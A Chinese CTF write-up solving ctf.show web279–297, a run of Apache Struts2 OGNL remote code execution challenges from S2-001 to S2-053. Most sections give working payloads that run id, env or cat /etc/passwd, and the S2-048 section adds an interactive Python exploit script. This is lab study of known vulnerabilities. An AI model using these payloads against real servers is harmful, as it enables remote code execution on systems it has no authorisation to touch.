题目地址:https://ctf.show/challenges
在做这部分题的时候,其实对基础知识掌握的还是并没有那么牢固,甚至说根本不怎么懂,只能说是迷迷糊糊的拿到了flag,原理的话还是得学习学习,希望对看到的各位有点帮助,如果有啥错误,希望各位ddddddhm!!
(这里记录一下,我自己在下载b4库的时候碰到一些问题,就是换源各种怎么弄都没弄好,解决办法:pip install bs4 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com(其中的bs4是你需要下载的,根据自己需求自行更改)
速度也还可以)

web279-294 296-297

这是在参考羽师傅博客拿到的解题脚本
脚本通杀 下载 下载链接:https://pan.baidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码:bn71
检测:

python Struts2Scan.py -u http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action

利用:

python Struts2Scan.py -u http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action -n S2-001 --exec

执行命令env即可得到flag
下面讲解一下自己的操作(只讲一个,其他的都大同小异,这里有些东西跟实际上显示的不大一样,看看就行了,仅供参考):
先检测一下漏洞:

H:\CTF\CTFshow\Web入门\web 279-300 JAVA\web 279-294 296-297> python Struts2Scan.py -u http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action

 ____  _              _       ____    ____
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy

[+] 正在扫描URL:http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action
[*] ----------------results------------------
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-009
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-007
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-012
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-005
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-015
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-001
[*] http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action 存在漏洞: S2-016

可以看到还是存在很多的漏洞的,利用一下:

H:\CTF\CTFshow\Web入门\web 279-300 JAVA\web 279-294 296-297> python Struts2Scan.py -u http://08c8e9cf-4a7b-458f-b75b-2f2bdeae6c1b.chall.ctf.show:8080/S2-001/login.action -n S2-001 --exec

 ____  _              _       ____    ____
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy

再执行env命令:

>>>env
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<center><h2>ctfshow login</h2>
<p><hr>


<form id="login" name="login" onsubmit="return true;" action="/S2-001/login.action;jsessionid=C8F47B0EA3887F5582DD142ED29D2B41" method="post">
<table class="wwFormTable">
        <tr>
    <td class="tdLabel"><label for="login_username" class="label">username:</label></td>
    <td
><input type="text" name="username" value="test" id="login_username"/>
</td>
</tr>
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
CATALINA_HOME=/usr/local/tomcat
LANG=C.UTF-8
HOSTNAME=348bc3753711
OPENSSL_VERSION=1.1.0f-3
TOMCAT_VERSION=8.5.20
GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23
JAVA_HOME=/docker-java-home/jre
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.asc
JAVA_VERSION=8u141
TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz
PWD=/usr/local/tomcat/webapps
HOME=/root
TOMCAT_TGZ_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz
CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1
TOMCAT_MAJOR=8
JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1
FLAG=ctfshow{6ea57a73-5148-447e-a1c1-a723e6a8c3d6}
SHLVL=0
TOMCAT_ASC_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.asc
PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
>>>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<center><h2>ctfshow login</h2>
<p><hr>


<form id="login" name="login" onsubmit="return true;" action="/S2-001/login.action;jsessionid=51F1CA2121C0262CDE6431F08785092D" method="post">
<table class="wwFormTable">
        <tr>
    <td class="tdLabel"><label for="login_username" class="label">username:</label></td>
    <td
><input type="text" name="username" value="test" id="login_username"/>
</td>
</tr>

        <tr>
    <td class="tdLabel"><label for="login_password" class="label">password:</label></td>
    <td
><input type="text" name="password" value="" id="login_password"/>
</td>
</tr>

        <tr>
    <td colspan="2"><div align="right"><input type="submit" id="login_0" value="Submit"/>
</div></td>
</tr>

</table></form>




</body>
</html>

二更:
(重新学习一下,使用工具虽然方便,但是终究还是别人的东西,想要多学点东西还是得自己动手)

web279

S2-001
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

 // 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

web280

S2-005
参考吴翰清的《白帽子讲Web安全》一书。

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

S2-003 使用\u0023绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

先测试一下:
poc:

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20220724223105074.png

web281

S2-007

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 - Struts2 2.2.3

执行任意代码poc:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

image-20220724223641987.png

web282

S2-008

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的

影响版本:Struts 2.1.0 - Struts 2.3.1

打开url/S2-008/,可以看到有两个姿势:

image-20220724223938965.png

先看姿势一:
虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋
这里我也没成功,
poc:

Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings;

姿势二:
在 devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):
poc:

devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

image-20220724224401420.png

web283

Struts2 showcase远程代码执行漏洞
S2-009

这个漏洞再次来源于s2-003、s2-005
参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023或\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御
通过Struts2框架中ParametersInterceptor拦截器只检查传入的参数名而不检查参数值的方式进行构造OGNL表达式从而造成代码执行

影响版本:Struts 2.0.0 - Struts 2.3.1

url/S2-009/ajax/example5.action即可访问该控制器,下载文件打开里面即是执行的命令结果;

image-20220724225754297.png

web284

S2-012
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

 <package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
 </package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

影响版本: 2.1.0 - 2.3.13

poc:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20220724230446502.png

web285

S2-013

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
    none - 链接不包含请求的任意参数值(默认)
    get - 链接只包含 GET 请求中的参数和其值
    all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞

影响版本:2.0.0 - 2.3.14.1

poc:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image-20220724231007363.png

web286

S2-015
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">
   <action name="*" class="com.demo.action.PageAction">
      <result>/{1}.jsp</result>
   </action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力

影响版本: 2.0.0 - 2.3.14.2
测试漏洞:

image-20220725143137909.png

用poc进行命令执行:
poc:

%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action

image-20220725143304613.png

web287

S2-106

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式
影响版本: 2.0.0 - 2.3.15

poc:(这里是将:后面的进行了一次url编码)

redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22env%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D

image-20220725152700566.png

web288

S2-019

动态方法调用的默认启用,原理类似于s2-008
Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码

poc:

?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

// 利用是先进行url编码

与s2-008poc区别不同的仅仅是由原先的[“allowStaticMethodAccess”]=true静态方法执行改为(new java.lang.ProcessBuilder(‘id’)).start(),但该方法在虚空浪子心提出s2-012后不久就在博客里说明了官方修补方案将allowStaticMethodAccess取消了后的替补方法就是使用ava.lang.ProcessBuilder
影响版本:Struts 2.0.0 - Struts 2.3.15.1

我这里扫描出来S2-045,用这个打通了...有点离谱了属于是,

image-20220725153508377.png

web289

S2-029

Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估
例如:代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行
影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

poc:

default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

image-20220725153942505.png

web290

S2-032

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

poc:

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

image-20220725154741898.png

web291

S2-033

当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行
影响版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)

poc:

/orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

image-20220725155054113.png

web292

S2-037

当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式
影响版本:Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

poc:

orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=uname -a

image-20220725155506933.png

web293

S2-045

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
影响版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

poc:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z

image-20220725155700343.png

web294

查看源码可以看到S2-046,漏洞与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断
详解:S2-046 远程代码执行漏洞(CVE-2017-5638)
Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

输入url/S2-046/出现一个文件上传界面
使用burp抓包
更改filename后为
POC: "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
测试是否存在漏洞
在hex里找到b之前一个符号,使用00截断

image-20220724202608827.png

在返回报文里面可以看到结果已被执行,说明存在此漏洞

image-20220724202737099.png

更改payload:拿到flag
payload:

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

image-20220724202300191.png

web295

查看源码:/S2-048/

漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击

影响版本: 2.0.0 - 2.3.32

输入url/S2-048/ 点击上方Integration-->Struts 1 Integration 输入参数测试是否存在漏洞

image-20220724204607776.png

更改payload,进行RCE:
payload:

%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29.%28%23q%29%7D

image-20220724204808956.png

也可以用S2-048的exp直接打:
exp:

import json,re
import requests
import threading
import urllib

def Poc(url,command):
    header = {'Content-Type': 'application/x-www-form-urlencoded'}
    poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
                          "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    data = urllib.urlencode(poc)
    try:
        result = requests.post(url,data=data,headers=header)
        if result.status_code == 200:
            
            print result.content
    except requests.ConnectionError,e:
        print e

th = {"url":""}

while True:
    if th.get("url") != "":
        input_cmd = raw_input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            url = raw_input("set url :")
            th['url'] = url
        elif input_cmd == 'show url':
            print th.get("url")
        else:
            Poc(th.get("url"),input_cmd)
    else:
        url = raw_input("set url :")
        th["url"] = url

image-20220724211208953.png

检测用S2-045也可执行,进行抓包发包,这里没有进行测试;

web296

S2-052
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 Content-Type 解析方法
xml application/xml xstream
json application/json jsonlib或jackson(可选)
xhtml application/xhtml+xml 无
无 application/x-www-form-urlencoded 无
无 multipart/form-data 无

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>

//或者

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget

影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

我这里用的是通杀脚本,检测到有S2-045,打的:

image-20220724212043673.png

web297

S2-053
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞
payload:

